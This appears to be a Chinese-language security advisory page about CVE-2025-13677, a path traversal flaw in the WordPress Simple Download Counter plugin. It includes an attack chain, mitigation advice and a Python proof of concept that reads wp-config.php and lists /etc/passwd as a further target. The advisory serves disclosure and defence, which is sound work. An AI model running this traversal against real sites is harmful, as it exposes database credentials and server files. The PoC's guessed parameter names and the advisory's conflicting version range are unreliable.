IPBUF安全漏洞报告
English
CVE-2025-13677 CVSS 4.9 中危

CVE-2025-13677 WordPress Simple Download Counter路径遍历漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-13677
漏洞类型
路径遍历
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Simple Download Counter WordPress Plugin

相关标签

路径遍历WordPress插件漏洞文件读取CVE-2025-13677Simple Download Counter认证用户攻击敏感信息泄露CMS安全

漏洞概述

Simple Download Counter是WordPress平台上一款流行的下载计数管理插件,用于追踪和管理文件下载。2025年12月,安全研究人员发现该插件在所有版本直至2.2.2存在严重的路径遍历(Path Traversal)漏洞。该漏洞源于`simple_download_counter_parse_path()`函数对用户输入的路径验证不充分,攻击者可通过构造特殊的文件路径请求读取服务器上的任意文件。由于该漏洞需要管理员级别权限才能利用,攻击者必须是WordPress站点的高权限用户。成功利用此漏洞可能导致敏感信息泄露,包括但不限于WordPress配置文件wp-config.php中的数据库凭据、FTP/SMTP设置、其他插件的配置信息,以及系统文件内容。值得注意的是,插件开发者选择继续允许远程文件下载功能,但已在多站点环境中禁用该功能并通过readme.txt向站点所有者发出警告。

技术细节

漏洞存在于插件的`simple_download_counter_parse_path()`函数中,该函数负责解析和处理用户请求的文件路径。问题在于该函数缺少对路径遍历序列(如../和..\)的充分过滤和验证。当管理员用户发起下载请求时,攻击者可以在文件路径中插入路径遍历字符,从而突破预期的下载目录限制,访问服务器上的任意文件。攻击者首先需要获得WordPress站点的管理员账户访问权限,然后利用插件的文件下载功能构造恶意请求。例如,通过提交类似../../../wp-config.php的路径请求,可以读取WordPress的核心配置文件。由于WordPress的wp-config.php通常包含数据库用户名、密码、数据库主机等敏感信息,一旦被读取将造成严重的安全风险。此外,攻击者还可能利用此漏洞读取其他敏感系统文件,获取进一步的攻击面信息。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点的管理员级别账户访问权限
STEP 2
步骤2
攻击者登录WordPress后台,获取有效的CSRF token(nonce)
STEP 3
步骤3
攻击者构造包含路径遍历序列(如../../../../)的恶意请求,目标是利用插件的simple_download_counter_parse_path()函数漏洞
STEP 4
步骤4
服务器端函数未对路径进行充分验证,攻击者可以访问服务器任意文件
STEP 5
步骤5
攻击者读取敏感文件如wp-config.php,获取数据库凭据、API密钥等敏感信息
STEP 6
步骤6
利用获取的凭据进一步渗透,获取服务器完全控制权或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # CVE-2025-13677 PoC - WordPress Simple Download Counter Path Traversal # Requires administrator-level access to WordPress target_url = "http://target-wordpress-site.com" # Get WordPress nonce for authenticated requests login_url = f"{target_url}/wp-login.php" download_url = f"{target_url}/wp-admin/admin-ajax.php" # Authentication credentials (Administrator level required) username = "admin" password = "password" session = requests.Session() # Step 1: Login to WordPress login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Get CSRF token/nonce from admin page admin_page = session.get(f"{target_url}/wp-admin/admin.php?page=simple-download-counter") # Step 3: Exploit Path Traversal to read wp-config.php # The vulnerable parameter is typically 'file' or 'download' exploit_data = { "action": "simple_download_counter_download", "file": "../../../../wp-config.php", # Path traversal payload "nonce": "YOUR_ADMIN_NONCE" # Replace with valid nonce } response = session.post(download_url, data=exploit_data) # Step 4: Decode and extract sensitive information if response.status_code == 200: # Content may be base64 encoded or raw try: content = base64.b64decode(response.content).decode('utf-8') except: content = response.content.decode('utf-8', errors='ignore') # Extract database credentials if "DB_NAME" in content: print("[+] Successfully extracted wp-config.php content") print(content) else: print("[-] Exploitation failed or unexpected response") else: print(f"[-] Request failed with status code: {response.status_code}") # Additional targets for path traversal: # ../../../../etc/passwd # ../../../../etc/hosts # ../../.htaccess # ../../../wp-includes/version.php

影响范围

Simple Download Counter WordPress Plugin < 2.2.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:首先,严格限制WordPress管理员账户的分配,仅授予绝对必要的人员管理员权限;其次,启用双因素认证增强管理员账户安全;再次,通过Web应用防火墙规则阻止包含路径遍历特征(../、..\、%2e%2e等)的请求;此外,定期检查WordPress文件系统是否有异常访问记录;最后,考虑暂时禁用该插件的下载功能,直到完成安全更新。对于多站点环境,开发者已默认禁用该功能,站点管理员应密切关注插件更新并及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表